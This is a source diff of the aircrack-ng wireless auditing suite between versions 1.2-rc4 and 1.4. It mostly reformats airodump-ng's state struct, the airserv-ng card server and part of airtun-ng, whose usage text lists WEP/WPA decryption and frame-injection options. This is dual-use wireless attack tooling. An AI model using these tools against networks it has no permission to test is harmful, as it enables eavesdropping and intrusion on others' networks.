+	int is_wlanng[MAX_CARDS]; /* set if wlan-ng       */
+	int is_orinoco[MAX_CARDS]; /* set if orinoco       */
+	int is_madwifing[MAX_CARDS]; /* set if madwifi-ng    */
+	int is_zd1211rw[MAX_CARDS]; /* set if zd1211rw    */
+	volatile int do_exit; /* interrupt flag       */
+	struct winsize ws; /* console window size  */
+
+	char * elapsed_time; /* capture time			*/
+
+	int one_beacon; /* Record only 1 beacon?*/
+
+	unsigned char sharedkey[3][4096]; /* array for 3 packets with a size of \
+							   up to 4096Byte */
+	time_t sk_start;
+	char * prefix;
+	int sk_len;
+	int sk_len2;
+
+	int * own_channels; /* custom channel list  */
+	int * own_frequencies; /* custom frequency list  */
+
+	int record_data; /* do we record data?   */
+	int asso_client; /* only show associated clients */
+
+	char * iwpriv;
+	char * iwconfig;
+	char * wlanctlng;
+	char * wl;
+
+	unsigned char wpa_bssid[6]; /* the wpa handshake bssid   */
+	char message[512];
+	char decloak;
+
+	char is_berlin; /* is the switch --berlin set? */
+	int numaps; /* number of APs on the current list */
+	int maxnumaps; /* maximum nubers of APs on the list */
+	int maxaps; /* number of all APs found */
+	int berlin; /* number of seconds it takes in berlin to fill the whole screen
+				   with APs*/
+	/*
+	 * The name for this option may look quite strange, here is the story behind
+	 * it:
+	 * During the CCC2007, 10 august 2007, we (hirte, Mister_X) went to visit
+	 * Berlin
+	 * and couldn't resist to turn on airodump-ng to see how much access point
+	 * we can
+	 * get during the trip from Finowfurt to Berlin. When we were in Berlin, the
+	 * number
+	 * of AP increase really fast, so fast that it couldn't fit in a screen,
+	 * even rotated;
+	 * the list was really huge (we have a picture of that). The 2 minutes
+	 * timeout
+	 * (if the last packet seen is higher than 2 minutes, the AP isn't shown
+	 * anymore)
+	 * wasn't enough, so we decided to create a new option to change that
+	 * timeout.
+	 * We implemented this option in the highest tower (TV Tower) of Berlin,
+	 * eating an ice.
+	 */
+
+	int show_ap;
+	int show_sta;
+	int show_ack;
+	int hide_known;
+
+	int hopfreq;
+
+	char * s_file; /* source file to read packets */
+	char * s_iface; /* source interface to read from */
+	FILE * f_cap_in;
+	struct pcap_file_header pfh_in;
+	int detect_anomaly; /* Detect WIPS protecting WEP in action */
+
+	char * freqstring;
+	int freqoption;
+	int chanoption;
+	int active_scan_sim; /* simulates an active scan, sending probe requests */
+
+	/* Airodump-ng start time: for kismet netxml file */
+	char * airodump_start_time;
+
+	int output_format_pcap;
+	int output_format_csv;
+	int output_format_kismet_csv;
+	int output_format_kismet_netxml;
+	pthread_t input_tid;
+	int sort_by;
+	int sort_inv;
+	int start_print_ap;
+	int start_print_sta;
+	int selected_ap;
+	int selected_sta;
+	int selection_ap;
+	int selection_sta;
+	int mark_cur_ap;
+	int num_cards;
+	int skip_columns;
+	int do_pause;
+	int do_sort_always;
+
+	pthread_mutex_t mx_print; /* lock write access to ap LL   */
+	pthread_mutex_t mx_sort; /* lock write access to ap LL   */
+
+	unsigned char selected_bssid[6]; /* bssid that is selected */
+
+	int ignore_negative_one;
+	u_int maxsize_essid_seen;
+	int show_manufacturer;
+	int show_uptime;
+	int file_write_interval;
+	u_int maxsize_wps_seen;
+	int show_wps;
+#ifdef CONFIG_LIBNL
+	int htval;
 #endif
-    char *dump_prefix;
-    char *keyout;
-    char *f_cap_name;
-
-    int f_index;            /* outfiles index       */
-    FILE *f_txt;            /* output csv file      */
-    FILE *f_kis;            /* output kismet csv file      */
-    FILE *f_kis_xml;        /* output kismet netxml file */
-    FILE *f_gps;            /* output gps file      */
-    FILE *f_cap;            /* output cap file      */
-    FILE *f_ivs;            /* output ivs file      */
-    FILE *f_xor;            /* output prga file     */
-
-    char * batt;            /* Battery string       */
-    int channel[MAX_CARDS];           /* current channel #    */
-    int frequency[MAX_CARDS];           /* current frequency #    */
-    int ch_pipe[2];         /* current channel pipe */
-    int cd_pipe[2];	    /* current card pipe    */
-    int gc_pipe[2];         /* gps coordinates pipe */
-    float gps_loc[5];       /* gps coordinates      */
-    int save_gps;           /* keep gps file flag   */
-    int usegpsd;            /* do we use GPSd?      */
-    int *channels;
-//     int *frequencies;
-    int singlechan;         /* channel hopping set 1*/
-    int singlefreq;         /* frequency hopping: 1 */
-    int chswitch;	    /* switching method     */
-    int f_encrypt;          /* encryption filter    */
-    int update_s;	    /* update delay in sec  */
-
-    int is_wlanng[MAX_CARDS];          /* set if wlan-ng       */
-    int is_orinoco[MAX_CARDS];         /* set if orinoco       */
-    int is_madwifing[MAX_CARDS];       /* set if madwifi-ng    */
-    int is_zd1211rw[MAX_CARDS];       /* set if zd1211rw    */
-    volatile int do_exit;            /* interrupt flag       */
-    struct winsize ws;      /* console window size  */
-
-    char * elapsed_time;	/* capture time			*/
-
-    int one_beacon;         /* Record only 1 beacon?*/
-
-    unsigned char sharedkey[3][4096]; /* array for 3 packets with a size of \
-                               up to 4096Byte */
-    time_t sk_start;
-    char *prefix;
-    int sk_len;
-    int sk_len2;
-
-    int * own_channels;	    /* custom channel list  */
-    int * own_frequencies;	    /* custom frequency list  */
-
-    int record_data;		/* do we record data?   */
-    int asso_client;        /* only show associated clients */
-
-    char * iwpriv;
-    char * iwconfig;
-    char * wlanctlng;
-    char * wl;
-
-    unsigned char wpa_bssid[6];   /* the wpa handshake bssid   */
-    char message[512];
-    char decloak;
-
-    char is_berlin;           /* is the switch --berlin set? */
-    int numaps;               /* number of APs on the current list */
-    int maxnumaps;            /* maximum nubers of APs on the list */
-    int maxaps;               /* number of all APs found */
-    int berlin;               /* number of seconds it takes in berlin to fill the whole screen with APs*/
-    /*
-     * The name for this option may look quite strange, here is the story behind it:
-     * During the CCC2007, 10 august 2007, we (hirte, Mister_X) went to visit Berlin
-     * and couldn't resist to turn on airodump-ng to see how much access point we can
-     * get during the trip from Finowfurt to Berlin. When we were in Berlin, the number
-     * of AP increase really fast, so fast that it couldn't fit in a screen, even rotated;
-     * the list was really huge (we have a picture of that). The 2 minutes timeout
-     * (if the last packet seen is higher than 2 minutes, the AP isn't shown anymore)
-     * wasn't enough, so we decided to create a new option to change that timeout.
-     * We implemented this option in the highest tower (TV Tower) of Berlin, eating an ice.
-     */
-
-    int show_ap;
-    int show_sta;
-    int show_ack;
-    int hide_known;
-
-    int hopfreq;
-
-    char*   s_file;         /* source file to read packets */
-    char*   s_iface;        /* source interface to read from */
-    FILE *f_cap_in;
-    struct pcap_file_header pfh_in;
-    int detect_anomaly;     /* Detect WIPS protecting WEP in action */
-
-    char *freqstring;
-    int freqoption;
-    int chanoption;
-    int active_scan_sim;    /* simulates an active scan, sending probe requests */
-
-    /* Airodump-ng start time: for kismet netxml file */
-    char * airodump_start_time;
-
-    int output_format_pcap;
-    int output_format_csv;
-    int output_format_kismet_csv;
-    int output_format_kismet_netxml;
-    pthread_t input_tid;
-    int sort_by;
-    int sort_inv;
-    int start_print_ap;
-    int start_print_sta;
-    int selected_ap;
-    int selected_sta;
-    int selection_ap;
-    int selection_sta;
-    int mark_cur_ap;
-    int num_cards;
-    int skip_columns;
-    int do_pause;
-    int do_sort_always;
-    
-    pthread_mutex_t mx_print;			 /* lock write access to ap LL   */
-    pthread_mutex_t mx_sort;			 /* lock write access to ap LL   */
-    
-    unsigned char selected_bssid[6];	/* bssid that is selected */
-
-    int ignore_negative_one;
-    u_int maxsize_essid_seen;
-    int show_manufacturer;
-    int show_uptime;
-    int file_write_interval;
-    u_int maxsize_wps_seen;
-    int show_wps;
-}
-G;
+	int background_mode;
+} G;
 
 #endif

aircrack-ng-1.2-rc4.tar.gz/src/airolib-ng.c -> aircrack-ng-1.4.tar.gz/src/airolib-ng.c Changed

aircrack-ng-1.2-rc4.tar.gz/src/airserv-ng.c -> aircrack-ng-1.4.tar.gz/src/airserv-ng.c Changed

@@ -1,4 +1,4 @@
- /*
+/*
   *  Server for osdep network driver.  Uses osdep itself!  [ph33r teh recursion]
   *
   *  Copyright (c) 2007-2009  Andrea Bittau <a.bittau@cs.ucl.ac.uk>
@@ -19,7 +19,7 @@
   *
   *  You should have received a copy of the GNU General Public License
   *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
   */
 
 #include <sys/types.h>
@@ -35,70 +35,68 @@
 #include <signal.h>
 
 #ifdef __NetBSD__
-	#include <sys/select.h>
+#include <sys/select.h>
 #endif
 
-#include "osdep/osdep.h"
-#include "osdep/network.h"
+#include "aircrack-osdep/osdep.h"
+#include "aircrack-osdep/network.h"
 #include "version.h"
 
-extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc);
-
-void sighandler( int signum )
+static void sighandler(int signum)
 {
-    if( signum == SIGPIPE )
-        printf("broken pipe!\n");
+	if (signum == SIGPIPE) printf("broken pipe!\n");
 }
 
-struct client {
-	int		c_s;
-	char		c_ip[16];
+struct client
+{
+	int c_s;
+	char c_ip[16];
 
-	struct client	*c_next;
-	struct client	*c_prev;
+	struct client * c_next;
+	struct client * c_prev;
 };
 
-static struct sstate {
-	int		ss_s;
-	struct wif	*ss_wi;
-	struct client	ss_clients;
-	int		ss_level;
+static struct sstate
+{
+	int ss_s;
+	struct wif * ss_wi;
+	struct client ss_clients;
+	int ss_level;
 } _ss;
 
-static struct sstate *get_ss()
-{
-	return &_ss;
-}
+static struct sstate * get_ss(void) { return &_ss; }
 
-static void usage(char *p)
+static void usage(char * p)
 {
-	if (p) {}
-	char *version_info = getVersion("Airserv-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
+	if (p)
+	{
+	}
+	char * version_info
+		= getVersion("Airserv-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
 	printf("\n"
-		"  %s - (C) 2007, 2008, 2009 Andrea Bittau\n"
-		"  http://www.aircrack-ng.org\n"
-		"\n"
-		"  Usage: airserv-ng <options>\n"
-		"\n"
-		"  Options:\n"
-		"\n"
-		"       -h         : This help screen\n"
-		"       -p  <port> : TCP port to listen on (default:666)\n"
-		"       -d <iface> : Wifi interface to use\n"
-		"       -c  <chan> : Channel to use\n"
-		"       -v <level> : Debug level (1 to 3; default: 1)\n"
-		"\n",
-		version_info);
+		   "  %s - (C) 2007, 2008, 2009 Andrea Bittau\n"
+		   "  https://www.aircrack-ng.org\n"
+		   "\n"
+		   "  Usage: airserv-ng <options>\n"
+		   "\n"
+		   "  Options:\n"
+		   "\n"
+		   "       -h         : This help screen\n"
+		   "       -p  <port> : TCP port to listen on (default:666)\n"
+		   "       -d <iface> : Wifi interface to use\n"
+		   "       -c  <chan> : Channel to use\n"
+		   "       -v <level> : Debug level (1 to 3; default: 1)\n"
+		   "\n",
+		   version_info);
 	free(version_info);
 	exit(1);
 }
 
-static void debug(struct sstate *ss, struct client *c, int l, char *fmt, ...)
+static void debug(struct sstate * ss, struct client * c, int l, char * fmt, ...)
 {
 	va_list ap;
 
-	if (ss->ss_level < l)
-		return;
+	if (ss->ss_level < l) return;
 
 	printf("[%s] ", c->c_ip);
 	va_start(ap, fmt);
@@ -106,29 +104,14 @@
 	va_end(ap);
 }
 
-#if 0
-static void print_clients(struct sstate *ss)
-{
-	struct client *c = ss->ss_clients.c_next;
-	int i = 1;
-
-	while (c != &ss->ss_clients) {
-		printf("Client %d fd %d\n", i++, c->c_s);
-
-		c = c->c_next;
-	}
-}
-#endif
-
-static void client_add(struct sstate *ss, int s, struct sockaddr_in *s_in)
+static void client_add(struct sstate * ss, int s, struct sockaddr_in * s_in)
 {
-	struct client *c;
+	struct client * c;
 
-	if (!(c = calloc(sizeof(struct client), 1)))
-		err(1, "calloc()");
+	if (!(c = calloc(sizeof(struct client), 1))) err(1, "calloc()");
 
 	c->c_s = s;
-	strncpy(c->c_ip, inet_ntoa(s_in->sin_addr), sizeof(c->c_ip)-1);
+	strncpy(c->c_ip, inet_ntoa(s_in->sin_addr), sizeof(c->c_ip) - 1);
 	printf("Connect from %s\n", c->c_ip);
 
 	c->c_prev = &ss->ss_clients;
@@ -137,7 +120,7 @@
 	ss->ss_clients.c_next = c;
 }
 
-static void client_kill(struct client *c)
+static void client_kill(struct client * c)
 {
 	c->c_prev->c_next = c->c_next;
 	c->c_next->c_prev = c->c_prev;
@@ -146,65 +129,63 @@
 	c = NULL;
 }
 
-static void card_open(struct sstate *ss, char *dev)
+static void card_open(struct sstate * ss, char * dev)
 {
-	struct wif *wi = wi_open(dev);
+	struct wif * wi = wi_open(dev);
 
-	if (!wi)
-		err(1, "wi_open()");
+	if (!wi) err(1, "wi_open()");
 	ss->ss_wi = wi;
 }
 
-static int card_set_chan(struct sstate *ss, int chan)
+static int card_set_chan(struct sstate * ss, int chan)
 {
 	return wi_set_channel(ss->ss_wi, chan);
 }
 
-static int card_get_chan(struct sstate *ss)
+static int card_get_chan(struct sstate * ss)
 {
 	return wi_get_channel(ss->ss_wi);
 }
 
-static int card_set_rate(struct sstate *ss, int rate)
+static int card_set_rate(struct sstate * ss, int rate)
 {
 	return wi_set_rate(ss->ss_wi, rate);
 }
 
-static int card_get_rate(struct sstate *ss)
-{
-	return wi_get_rate(ss->ss_wi);
-}
+static int card_get_rate(struct sstate * ss) { return wi_get_rate(ss->ss_wi); }
 
-static int card_get_monitor(struct sstate *ss)
+static int card_get_monitor(struct sstate * ss)
 {
 	return wi_get_monitor(ss->ss_wi);
 }
 
-static int card_read(struct sstate *ss, void *buf, int len, struct rx_info *ri)
+static int
+card_read(struct sstate * ss, void * buf, int len, struct rx_info * ri)
 {
 	int rc;
 
-	if ((rc = wi_read(ss->ss_wi, buf, len, ri)) == -1)
-		err(1, "wi_read()");
+	if ((rc = wi_read(ss->ss_wi, buf, len, ri)) == -1) err(1, "wi_read()");
 
 	return rc;
 }
 
-static int card_write(struct sstate *ss, void *buf, int len, struct tx_info *ti)
+static int
+card_write(struct sstate * ss, void * buf, int len, struct tx_info * ti)
 {
 	return wi_write(ss->ss_wi, buf, len, ti);
 }
 
-static int card_get_mac(struct sstate *ss, unsigned char *mac)
+static int card_get_mac(struct sstate * ss, unsigned char * mac)
 {
 	return wi_get_mac(ss->ss_wi, mac);
 }
 
-static void open_sock(struct sstate *ss, int port)
+static void open_sock(struct sstate * ss, int port)
 {
 	int s;
 	struct sockaddr_in s_in;
 	int one = 1;
+	memset(&s_in, 0, sizeof(struct sockaddr_in));
 
 	s_in.sin_family = PF_INET;
 	s_in.sin_port = htons(port);
@@ -216,22 +197,21 @@
 	if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) == -1)
 		err(1, "setsockopt()");
 
-	if (bind(s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1)
+	if (bind(s, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
 		err(1, "bind()");
 
-	if (listen(s, 5) == -1)
-		err(1, "listen()");
+	if (listen(s, 5) == -1) err(1, "listen()");
 
 	ss->ss_s = s;
 }
 
-static void open_card_and_sock(struct sstate *ss, char *dev, int port, int chan)
+static void
+open_card_and_sock(struct sstate * ss, char * dev, int port, int chan)
 {
 	printf("Opening card %s\n", dev);
 	card_open(ss, dev);
 	printf("Setting chan %d\n", chan);
-	if (card_set_chan(ss, chan) == -1)
-		err(1, "card_set_chan()");
+	if (card_set_chan(ss, chan) == -1) err(1, "card_set_chan()");
 
 	printf("Opening sock port %d\n", port);
 	open_sock(ss, port);
@@ -239,25 +219,26 @@
 	printf("Serving %s chan %d on port %d\n", dev, chan, port);
 }
 
-static void net_send_kill(struct client *c,
-			  int cmd, void *data, int len)
+static void net_send_kill(struct client * c, int cmd, void * data, int len)
 {
-	if (net_send(c->c_s, cmd, data, len) == -1)
-		client_kill(c);
+	if (net_send(c->c_s, cmd, data, len) == -1) client_kill(c);
 }
 
-static void handle_set_chan(struct sstate *ss, struct client *c,
-			    unsigned char *buf, int len)
+static void handle_set_chan(struct sstate * ss,
+							struct client * c,
+							unsigned char * buf,
+							int len)
 {
 	uint32_t chan;
 	uint32_t rc;
 
-	if (len != sizeof(chan)) {
+	if (len != sizeof(chan))
+	{
 		client_kill(c);
 		return;
 	}
 
-	chan = *((uint32_t*)buf);
+	chan = *((uint32_t *) buf);
 	chan = ntohl(chan);
 
 	debug(ss, c, 2, "Got setchan %d\n", chan);
@@ -267,18 +248,21 @@
 	net_send_kill(c, NET_RC, &rc, sizeof(rc));
 }
 
-static void handle_set_rate(struct sstate *ss, struct client *c,
-			    unsigned char *buf, int len)
+static void handle_set_rate(struct sstate * ss,
+							struct client * c,
+							unsigned char * buf,
+							int len)
 {
 	uint32_t rate;
 	uint32_t rc;
 
-	if (len != sizeof(rate)) {
+	if (len != sizeof(rate))
+	{
 		client_kill(c);
 		return;
 	}
 
-	rate = *((uint32_t*)buf);
+	rate = *((uint32_t *) buf);
 	rate = ntohl(rate);
 
 	debug(ss, c, 2, "Got setrate %d\n", rate);
@@ -288,21 +272,23 @@
 	net_send_kill(c, NET_RC, &rc, sizeof(rc));
 }
 
-static void handle_get_mac(struct sstate *ss, struct client *c)
+static void handle_get_mac(struct sstate * ss, struct client * c)
 {
 	unsigned char mac[6];
 	int rc;
 
 	rc = card_get_mac(ss, mac);
-	if (rc == -1) {
+	if (rc == -1)
+	{
 		uint32_t x = htonl(rc);
 
 		net_send_kill(c, NET_RC, &x, sizeof(x));
-	} else
+	}
+	else
 		net_send_kill(c, NET_MAC, mac, 6);
 }
 
-static void handle_get_chan(struct sstate *ss, struct client *c)
+static void handle_get_chan(struct sstate * ss, struct client * c)
 {
 	int rc = card_get_chan(ss);
 	uint32_t chan;
@@ -312,7 +298,7 @@
 	net_send_kill(c, NET_RC, &chan, sizeof(chan));
 }
 
-static void handle_get_rate(struct sstate *ss, struct client *c)
+static void handle_get_rate(struct sstate * ss, struct client * c)
 {
 	int rc = card_get_rate(ss);
 	uint32_t rate;
@@ -322,7 +308,7 @@
 	net_send_kill(c, NET_RC, &rate, sizeof(rate));
 }
 
-static void handle_get_monitor(struct sstate *ss, struct client *c)
+static void handle_get_monitor(struct sstate * ss, struct client * c)
 {
 	int rc = card_get_monitor(ss);
 	uint32_t x;
@@ -332,11 +318,11 @@
 	net_send_kill(c, NET_RC, &x, sizeof(x));
 }
 
-static void handle_write(struct sstate *ss, struct client *c,
-			 void *buf, int len)
+static void
+handle_write(struct sstate * ss, struct client * c, void * buf, int len)
 {
-	struct tx_info *ti = buf;
-	void *hdr = (ti+1);
+	struct tx_info * ti = buf;
+	void * hdr = (ti + 1);
 	int rc;
 	uint32_t x;
 
@@ -349,96 +335,102 @@
 	net_send_kill(c, NET_RC, &x, sizeof(x));
 }
 
-static void handle_client(struct sstate *ss, struct client *c)
+static void handle_client(struct sstate * ss, struct client * c)
 {
 	unsigned char buf[2048];
 	int len = sizeof(buf);
 	int cmd;
 
 	cmd = net_get(c->c_s, buf, &len);
-	if (cmd == -1) {
+	if (cmd == -1)
+	{
 		debug(ss, c, 2, "handle_client: net_get()\n");
 		client_kill(c);
 		return;
 	}
 
 	/* figure out command */
-	switch (cmd) {
-	case NET_SET_CHAN:
-		handle_set_chan(ss, c, buf, len);
-		break;
+	switch (cmd)
+	{
+		case NET_SET_CHAN:
+			handle_set_chan(ss, c, buf, len);
+			break;
 
-	case NET_SET_RATE:
-		handle_set_rate(ss, c, buf, len);
-		break;
+		case NET_SET_RATE:
+			handle_set_rate(ss, c, buf, len);
+			break;
 
-	case NET_GET_MAC:
-		handle_get_mac(ss, c);
-		break;
+		case NET_GET_MAC:
+			handle_get_mac(ss, c);
+			break;
 
-	case NET_GET_CHAN:
-		handle_get_chan(ss, c);
-		break;
+		case NET_GET_CHAN:
+			handle_get_chan(ss, c);
+			break;
 
-	case NET_GET_RATE:
-		handle_get_rate(ss, c);
-		break;
+		case NET_GET_RATE:
+			handle_get_rate(ss, c);
+			break;
 
-	case NET_GET_MONITOR:
-		handle_get_monitor(ss, c);
-		break;
+		case NET_GET_MONITOR:
+			handle_get_monitor(ss, c);
+			break;
 
-	case NET_WRITE:
-		handle_write(ss, c, buf, len);
-		break;
+		case NET_WRITE:
+			handle_write(ss, c, buf, len);
+			break;
 
-	default:
-		printf("Unknown request %d\n", cmd);
-		client_kill(c);
-		break;
+		default:
+			printf("Unknown request %d\n", cmd);
+			client_kill(c);
+			break;
 	}
 }
 
-static void handle_server(struct sstate *ss)
+static void handle_server(struct sstate * ss)
 {
 	int dude;
 	struct sockaddr_in s_in;
 	socklen_t len;
 
 	len = sizeof(s_in);
-	if ((dude = accept(ss->ss_s, (struct sockaddr*) &s_in, &len)) == -1)
+	if ((dude = accept(ss->ss_s, (struct sockaddr *) &s_in, &len)) == -1)
 		err(1, "accept()");
 
 	client_add(ss, dude, &s_in);
 }
 
-static void client_send_packet(struct sstate *ss, struct client *c,
-			       unsigned char *buf, int rd)
+static void client_send_packet(struct sstate * ss,
+							   struct client * c,
+							   unsigned char * buf,
+							   int rd)
 {
 	/* XXX check if TX will block */
-	if (rd == -1) {
+	if (rd == -1)
+	{
 		uint32_t rc = htonl(rd);
 		debug(ss, c, 3, "Sending result code %d to client\n", rd);
 
 		net_send_kill(c, NET_RC, &rc, sizeof(rc));
-	} else {
+	}
+	else
+	{
 		debug(ss, c, 3, "Sending %d bytes packet to client\n", rd);
 
 		net_send_kill(c, NET_PACKET, buf, rd);
 	}
 }
 
-static void handle_card(struct sstate *ss)
+static void handle_card(struct sstate * ss)
 {
 	unsigned char buf[2048];
 	int rd;
-	struct rx_info *ri = (struct rx_info*) buf;
-	struct client *c;
-	struct client *next_c;
+	struct rx_info * ri = (struct rx_info *) buf;
+	struct client * c;
+	struct client * next_c;
 
 	rd = card_read(ss, ri + 1, sizeof(buf) - sizeof(*ri), ri);
-    if (rd >= 0)
-    	rd += sizeof(*ri);
+	if (rd >= 0) rd += sizeof(*ri);
 
 	ri->ri_mactime = __cpu_to_be64(ri->ri_mactime);
 	ri->ri_power = __cpu_to_be32(ri->ri_power);
@@ -449,25 +441,27 @@
 	ri->ri_freq = __cpu_to_be32(ri->ri_freq);
 
 	c = ss->ss_clients.c_next;
-	while (c != &ss->ss_clients) {
+	while (c != &ss->ss_clients)
+	{
 		next_c = c->c_next;
 		client_send_packet(ss, c, buf, rd);
 		c = next_c;
 	}
 }
 
-static void serv(struct sstate *ss, char *dev, int port, int chan)
+static void serv(struct sstate * ss, char * dev, int port, int chan)
 {
 	int max;
 	fd_set fds;
-	struct client *c;
-	struct client *next;
+	struct client * c;
+	struct client * next;
 	int card_fd;
 
 	open_card_and_sock(ss, dev, port, chan);
 	card_fd = wi_fd(ss->ss_wi);
 
-	while (1) {
+	while (1)
+	{
 		/* server */
 		max = ss->ss_s;
 		FD_ZERO(&fds);
@@ -475,81 +469,78 @@
 
 		/* clients */
 		c = ss->ss_clients.c_next;
-		while (c != &ss->ss_clients) {
+		while (c != &ss->ss_clients)
+		{
 			FD_SET(c->c_s, &fds);
-			if (c->c_s > max)
-				max = c->c_s;
+			if (c->c_s > max) max = c->c_s;
 
 			c = c->c_next;
 		}
 
 		/* card */
 		FD_SET(card_fd, &fds);
-		if (card_fd > max)
-			max = card_fd;
+		if (card_fd > max) max = card_fd;
 
-		if (select(max+1, &fds, NULL, NULL, NULL) == -1)
-			err(1, "select()");
+		if (select(max + 1, &fds, NULL, NULL, NULL) == -1) err(1, "select()");
 
 		/* handle clients */
 		c = ss->ss_clients.c_next;
-		while (c != &ss->ss_clients) {
+		while (c != &ss->ss_clients)
+		{
 			next = c->c_next;
-			if (FD_ISSET(c->c_s, &fds))
-				handle_client(ss, c);
+			if (FD_ISSET(c->c_s, &fds)) handle_client(ss, c);
 
 			c = next;
 		}
 
 		/* handle server */
-		if (FD_ISSET(ss->ss_s, &fds))
-			handle_server(ss);
+		if (FD_ISSET(ss->ss_s, &fds)) handle_server(ss);
 
-		if (FD_ISSET(card_fd, &fds))
-			handle_card(ss);
+		if (FD_ISSET(card_fd, &fds)) handle_card(ss);
 	}
 }
 
-int main(int argc, char *argv[])
+int main(int argc, char * argv[])
 {
-	char *device = NULL;
+	char * device = NULL;
 	int port = 666;
 	int ch;
 	int chan = 1;
-	struct sstate *ss = get_ss();
+	struct sstate * ss = get_ss();
 
 	memset(ss, 0, sizeof(*ss));
 	ss->ss_clients.c_next = ss->ss_clients.c_prev = &ss->ss_clients;
 
-	while ((ch = getopt(argc, argv, "p:d:hc:v:")) != -1) {
-		switch (ch) {
-		case 'p':
-			port = atoi(optarg);
-			break;
-
-		case 'd':
-			device = optarg;
-			break;
-
-		case 'v':
-			ss->ss_level = atoi(optarg);
-			break;
-
-		case 'c':
-			chan = atoi(optarg);
-			break;
-
-		case 'h':
-		default:
-			usage(argv[0]);
-			break;
+	while ((ch = getopt(argc, argv, "p:d:hc:v:")) != -1)
+	{
+		switch (ch)
+		{
+			case 'p':
+				port = atoi(optarg);
+				break;
+
+			case 'd':
+				device = optarg;
+				break;
+
+			case 'v':
+				ss->ss_level = atoi(optarg);
+				break;
+
+			case 'c':
+				chan = atoi(optarg);
+				break;
+
+			case 'h':
+			default:
+				usage(argv[0]);
+				break;
 		}
 	}
 
-        signal(SIGPIPE, sighandler);
+	signal(SIGPIPE, sighandler);
 
-	if (!device || chan <= 0)
-		usage(argv[0]);
+	if (!device || chan <= 0) usage(argv[0]);
 
 	serv(ss, device, port, chan);

aircrack-ng-1.2-rc4.tar.gz/src/airtun-ng.c -> aircrack-ng-1.4.tar.gz/src/airtun-ng.c Changed

@@ -2,7 +2,7 @@
  *  802.11 WEP network connection tunneling
  *  based on aireplay-ng
  *
- *  Copyright (C) 2006-2016 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
  *  Copyright (C) 2006-2009 Martin Beck <hirte@aircrack-ng.org>
  *
  *  This program is free software; you can redistribute it and/or modify
@@ -17,7 +17,7 @@
  *
  *  You should have received a copy of the GNU General Public License
  *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
  *
  *
  *  In addition, as a special exception, the copyright holders give
@@ -35,7 +35,7 @@
  */
 
 #ifdef linux
-    #include <linux/rtc.h>
+#include <linux/rtc.h>
 #endif
 
 #include <sys/types.h>
@@ -61,138 +61,130 @@
 #include "version.h"
 #include "pcap.h"
 #include "crypto.h"
-#include "common.h"
+#include "aircrack-util/common.h"
 
-#include "osdep/osdep.h"
+#include "aircrack-osdep/osdep.h"
 
 static struct wif *_wi_in, *_wi_out;
 
 #define CRYPT_NONE 0
-#define CRYPT_WEP  1
-#define CRYPT_WPA  2
-
-//if not all fragments are available 60 seconds after the last fragment was received, they will be removed
-#define FRAG_TIMEOUT (1000000*60)
-
-extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc);
-extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac);
-extern int add_crc32(unsigned char* data, int length);
-
-extern const unsigned long int crc_tbl[256];
-extern const unsigned char crc_chop_tbl[256][4];
-
-
-char usage[] =
-"\n"
-"  %s - (C) 2006-2015 Thomas d'Otreppe\n"
-"  Original work: Martin Beck\n"
-"  http://www.aircrack-ng.org\n"
-"\n"
-"  usage: airtun-ng <options> <replay interface>\n"
-"\n"
-"      -x nbpps         : number of packets per second (default: 100)\n"
-"      -a bssid         : set Access Point MAC address\n"
-"                         In WDS Mode this sets the Receiver\n"
-"      -i iface         : capture packets from this interface\n"
-"      -y file          : read PRGA from this file\n"
-"      -w wepkey        : use this WEP-KEY to encrypt packets\n"
-"      -p pass          : use this WPA passphrase to decrypt packets\n"
-"                         (use with -a and -e)\n"
-"      -e essid         : target network SSID (use with -p)\n"
-"      -t tods          : send frames to AP (1) or to client (0)\n"
-"                         or tunnel them into a WDS/Bridge (2)\n"
-"      -r file          : read frames out of pcap file\n"
-"      -h MAC           : source MAC address\n"
-"\n"
-"  WDS/Bridge Mode options:\n"
-"      -s transmitter   : set Transmitter MAC address for WDS Mode\n"
-"      -b               : bidirectional mode. This enables communication\n"
-"                         in Transmitter's AND Receiver's networks.\n"
-"                         Works only if you can see both stations.\n"
-"\n"
-"  Repeater options:\n"
-"      --repeat         : activates repeat mode\n"
-"      --bssid <mac>    : BSSID to repeat\n"
-"      --netmask <mask> : netmask for BSSID filter\n"
-"\n"
-"      --help           : Displays this usage screen\n"
-"\n";
+#define CRYPT_WEP 1
+#define CRYPT_WPA 2
+
+// if not all fragments are available 60 seconds after the last fragment was
+// received, they will be removed
+#define FRAG_TIMEOUT (1000000 * 60)
+
+char usage[]
+	= "\n"
+	  "  %s - (C) 2006-2018 Thomas d'Otreppe\n"
+	  "  Original work: Martin Beck\n"
+	  "  https://www.aircrack-ng.org\n"
+	  "\n"
+	  "  usage: airtun-ng <options> <replay interface>\n"
+	  "\n"
+	  "      -x nbpps         : number of packets per second (default: 100)\n"
+	  "      -a bssid         : set Access Point MAC address\n"
+	  "                         In WDS Mode this sets the Receiver\n"
+	  "      -i iface         : capture packets from this interface\n"
+	  "      -y file          : read PRGA from this file\n"
+	  "      -w wepkey        : use this WEP-KEY to encrypt packets\n"
+	  "      -p pass          : use this WPA passphrase to decrypt packets\n"
+	  "                         (use with -a and -e)\n"
+	  "      -e essid         : target network SSID (use with -p)\n"
+	  "      -t tods          : send frames to AP (1) or to client (0)\n"
+	  "                         or tunnel them into a WDS/Bridge (2)\n"
+	  "      -r file          : read frames out of pcap file\n"
+	  "      -h MAC           : source MAC address\n"
+	  "\n"
+	  "  WDS/Bridge Mode options:\n"
+	  "      -s transmitter   : set Transmitter MAC address for WDS Mode\n"
